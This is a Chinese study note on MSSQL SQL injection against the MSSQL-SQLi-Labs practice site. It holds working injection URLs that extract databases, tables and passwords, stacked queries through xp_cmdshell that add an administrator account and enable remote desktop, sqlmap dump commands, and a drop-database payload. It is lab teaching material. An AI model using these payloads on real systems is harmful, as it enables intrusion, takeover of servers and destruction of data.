(本文仅为平时学习记录,若有错误请大佬指出,如果本文能帮到你那我也是很开心啦)

 

该笔记参考网络中的文章,本文仅为了学习交流,严禁非法使用!!!

 

一、MSSQL手工注入

  • 测试使用Windows Server 2008 R2 中使用IIS搭建的MSSQL-SQLi-Labs站点的第一关(该站点可在Github中找到)

攻击者:Windows 10系统(宿主机

靶机:Windows Server 2008 R2(虚拟机)

1.判断注入点:

http://IP:PORT/less-1.asp?id='
  • 根据回显可知数据类型为字符型

http://IP:PORT/less-1.asp?id=1'--
  • 正常执行

2.判断数据库类型

1 select * from sysobjects
2     sysobjects:MSSQL数据库特有的数据表,系统对象表,保存当前数据库的对象
3 select * from users where id=1 and exists(select * from sysobjects)
4     Exists():子语句查询,Exists方法返回一个布尔值,该布尔值指示在 Dictionary 对象中是否存在指定的 key,如果存在,返回 true,否则返回 false

 

http://IP:PORT/less-1.asp?id=5' and exists(select * from sysobjects)--

  • 正常执行,说明后台数据库是MSSQL
  • 其他方法判断数据库:常用框架组合方法ASP+MSSQL、页面报错信息

3.注入点权限的判断(根据页面显示效果)

1 select is_srvrolemember('sysadmin');  判断当前是否为sa
2 select is_srvrolemember('db_owner');  判断当前用户写文件、读文件的权限(db_owner)
3 select is_srvrolemember('public');  判断是否有public权限,可以爆破表
  • 以上正确执行后返回值都为1
  • 判断当前是否为sa
1 http://IP:PORT/less-1.asp?id=5' and exists(select is_srvrolemember('sysadmin'))--
2 或http://IP:PORT/less-1.asp?id=5' and (select is_srvrolemember('sysadmin'))>0--

  • 判断当前用户写文件、读文件的权限
http://IP:PORT/less-1.asp?id=5' and (select is_srvrolemember('db_owner'))>0--

4.信息收集

  • 查看当前数据库
1 select db_name(N)  表示当前数据库,其中的参数表示第N个数据库,从0开始
2 http://IP:PORT/less-1.asp?id=5' and (select db_name())>0--
3 或http://IP:PORT/less-1.asp?id=5' and (convert(int,db_name()))>0--
4     convert转换,将db_name()的数据类型转换为int型

  • 查看所有数据库
    • 方法1:
http://IP:PORT/less-1.asp?id=5' and (convert(int,db_name(N)))>0--//变换N的值就可以爆出所有数据库的名称
    • 方法2:
1 SELECT top 1 Name FROM Master..SysDatabases where name not in ('master','aspcms');
2     Master系统数据库
3     SELECT top 1 Name FROM Master..SysDatabases  在系统数据库中能够查询所有的数据库
4     where name not in ('master','aspcms')  表示查询的结果不在括号中的集合里
5 http://IP:PORT/less-1.asp?id=5' and (SELECT top 1 Name FROM Master..SysDatabases)>0--

http://IP:PORT/less-1.asp?id=5' and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master'))>0-- 可依次添加每次爆出的数据就可以报错所有数据库

  • 查看数据库版本
1 select @@version
2 http://IP:PORT/less-1.asp?id=5' and (select @@version)>0--
3 或http://IP:PORT/less-1.asp?id=5' and (select @@version)=1--

  • 查看当前用户
1 user
2 http://IP:PORT/less-1.asp?id=5' and (user)>0--
  • 这里的用户dbo就等于databaseown,即sa用户

5.当前数据库中的表

1 select top 1 name from 当前数据库.sys.all_objects where type='U' AND is_ms_shipped=0
2 select top 1 name from test.sys.all_objects where type='U' AND is_ms_shipped=0  获取第一个表名
3 http://IP:PORT/less-1.asp?id=5' and (select top 1 name from test.sys.all_objects where type='U' AND is_ms_shipped=0)>0--

1 select top 1 name from aspcms.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('emails','uagents')
2 http://IP:PORT/less-1.asp?id=5' and (select top 1 name from test.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('emails'))>0--

6.获取指定表中的字段名

1 select top 1 COLUMN_NAME from test.information_schema.columns where TABLE_NAME='users'
2 http://IP:PORT/less-1.asp?id=5' and (select top 1 COLUMN_NAME from test.information_schema.columns where TABLE_NAME='users')>0--

1 select top 1 COLUMN_NAME from test.information_schema.columns where TABLE_NAME='users' and COLUMN_NAME not in ('id','username')
2 http://IP:PORT/less-1.asp?id=5' and (select top 1 COLUMN_NAME from test.information_schema.columns where TABLE_NAME='users' and COLUMN_NAME not in ('id','username'))>0--

7.获取字段数据

1 select top 1 username from users
2 http://IP:PORT/less-1.asp?id=5' and (select top 1 username from users)>0--

http://IP:PORT/less-1.asp?id=5' and (select top 1 password from users)>0--

8.解密数据,登录后台

 

二、使用MSSQL的xp_cmdshell扩展

xp_cmdshell 扩展:存储过程将命令字符串作为操作系统命令 shell 执行,并以文本行的形式返回所有输出

1.判断当前MSSQL数据库有没有xp_cmdshell扩展,返回值为1,表示有扩展

select count(*) FROM master. dbo.sysobjects Where xtype ='X' AND name = 'xp_cmdshell'

2.测试是否可执行系统命令

1 exec master..xp_cmdshell 'net user'
2 exec master.dbo.xp_cmdshell 'net user'
3     exec表示要执行系统命令

  • 上图显示的错误解决方法:
    • 执行以下语句
1 EXEC sp_configure 'show advanced options', 1;
2 RECONFIGURE;
3 EXEC sp_configure 'xp_cmdshell', 1;
4 RECONFIGURE;
    • 代码功能:

EXEC sp_configure 'show advanced options' , 1

  sp_configure 是修改系统配置的存储过程,当设置 show advanced options 参数为 1 时,才允许修改系统配置中的某些高级选相!!系统中这些高级选项默认是不允许修改的!('xp_cmdshell' 是高级选项参数之一! )

RECONFIGURE

  提交第一步操作并更新使用 sp_configure 系统存储过程更改的配置选项的当前配置

EXEC sp_configure 'xp_cmdshell' ,1

  执行系统存储过程 修改 高级选项 参数'xp_cmdshell' 等于1,这个参数等于1 表示允许sqlserver 调用数据库之外的操作系统命令

RECONFIGURE

  提交更新第三步的操作

  • 代码成功执行

 

三、利用MSSQL的xp_cmdshell扩展获取服务器权限

1.判断当前MSSQL数据库有没有xp_cmdshell扩展

1 http://IP:PORT/less-1.asp?id=5' and (select count(*) FROM master. dbo.sysobjects Where xtype ='X' AND name = 'xp_cmdshell')>0--

2.利用xp_cmdshell扩展执行系统命令

1 exec master..xp_cmdshell 'net user'  exec需要独立使用,利用堆叠注入
2 http://IP:PORT/less-1.asp?id=5';exec master..xp_cmdshell 'net user'--
  • 命令执行之后在浏览器中是没有正常回显的,这里只要没有报错,就说明命令执行成功,如果想看到执行命令之后的结果,需要创建一个临时表,将执行结果写入,最后再读

3.创建一个新用户kiko

http://IP:PORT/less-1.asp?id=5';exec master..xp_cmdshell 'net user kiko 密码 /add'--

  • 进入靶机系统中,查看创建用户是否成功

4.将用户kiko添加到管理员组中

http://IP:PORT/less-1.asp?id=5';exec master..xp_cmdshell 'net localgroup administrators kiko /add'--

  • 进入靶机中,命令执行成功

5.开启靶机3389端口

http://IP:PORT/less-1.asp?id=5';exec master..xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f'--

6.启动远程桌面连接,过程如下:

  • 连接成功!

 

四、使用SQLMAP对MSSQL注入漏洞进行利用

  • 测试使用MSSQL-SQLi-Labs站点的第二关

1.检测注入点

1 sqlmap.py -u "http://IP:PORT/less-2.asp?id=1"
2   --drop-set-cookie 忽略响应的Set – Cookie头信息

  • 翻译:

you have not declared cookie(s), while server wants to set its own ('ASPSESSIONIDACCBASBD=DONJPCHBLHK...DHGDOIMHLL'). Do you want to use those [Y/n] y

您尚未声明cookie,而服务器希望设置自己的cookie('aspsessionidaccbasbd=donjpchblhk…dhgdoimhl')。你想用那些吗

are you sure that you want to continue with further target testing? [Y/n] y

是否确实要继续进行进一步的目标测试?[是/否]是

it looks like the back-end DBMS is 'Microsoft SQL Server'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y

看起来后端DBMS是“Microsoft SQL Server”。是否要跳过特定于其他dbms的测试有效负载?[是/否]是

for the remaining tests, do you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1) values? [Y/n] y

对于其余的测试,是否要包括对扩展提供的级别(1)和风险(1)值的“Microsoft SQL Server”的所有测试[是/否]是

GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y

获取参数“id”易受攻击。你想继续测试其他的(如果有的话)吗?[是/否]是

2.获取数据库所有信息

sqlmap.py -u "http://IP:PORT/less-2.asp?id=1" --dbms mssql --dump  将数据库里所有的数据全部显示

  • 翻译:

[00:27:45] [WARNING] in case of table dumping problems (e.g. column entry order) you are advised to rerun with '--force-pivoting'

[00:27:45][WARNING]如果出现表转储问题(例如列输入顺序),建议您使用“--force pivoting”重新运行

  • 根据回显得知出现表转储问题,所以数据表users中显示数据为空

  • 根据提示在命令后加入--force pivoting
sqlmap.py -u "http://IP:PORT/less-2.asp?id=1" --dbms mssql --dump --force-pivoting

 

五、利用SQLMAP进行内联注入

1.内联注入:向查询注入一些SQL代码后,原来的查询仍然会全部执行

1 select id from (select 1 as id)a;
2 select * from T1,T3 where T1.userid=T3.userid

2.利用过程:

  • 使用SQLMAP进行注入点检测时,结果显示可以使用内联注入(inline query),并给了Payload

  • 利用所给Payload进行注入
http://IP:PORT/less-2.asp?id=(select char(113)+char(113)+char(112)+char(112)+char(113)+(select (case when (6066=6066) then char(49) else char(48) end)) +char(113)+char(107)+char(107)+char(98)+char(113))

  • 在MSSQL中执行该Payload
select char(113)+char(113)+char(112)+char(112)+char(113) +(select (case when (6066=6066) then char(49) else char(48) end)) +char(113)+char(107)+char(107)+char(98)+char(113)

  • 在MySQL中执行该Payload
select char(113)+char(113)+char(112)+char(112)+char(113) +(select (case when (6066=6066) then char(49) else char(48) end)) +char(113)+char(107)+char(107)+char(98)+char(113);

select * from dvwa.users where user_id=1 and (select char(113)+char(113)+char(112)+char(112)+char(113) +(select (case when (6066=6066) then char(49) else char(48) end)) +char(113)+char(107)+char(107)+char(98)+char(113));

 

六、利用SQLMAP进行堆叠注入

1.堆叠注入:将一堆SQL语句叠加在一起执行,使用分号结束上一个语句再叠加其他语句一起执行

select * from news;select 1,2,3,4,user(),version();

2.利用过程:

  • 使用SQLMAP进行注入点检测时,结果显示可以使用堆叠注入(stacked queries),并给了Payload

  • 利用所给Payload进行注入
http://IP:PORT/less-2.asp?id=1 WAITFOR DELAY '0:0:5'

  • 慎用如下所示命令
http://IP:PORT/less-2.asp?id=1;drop database 数据库名   删除数据库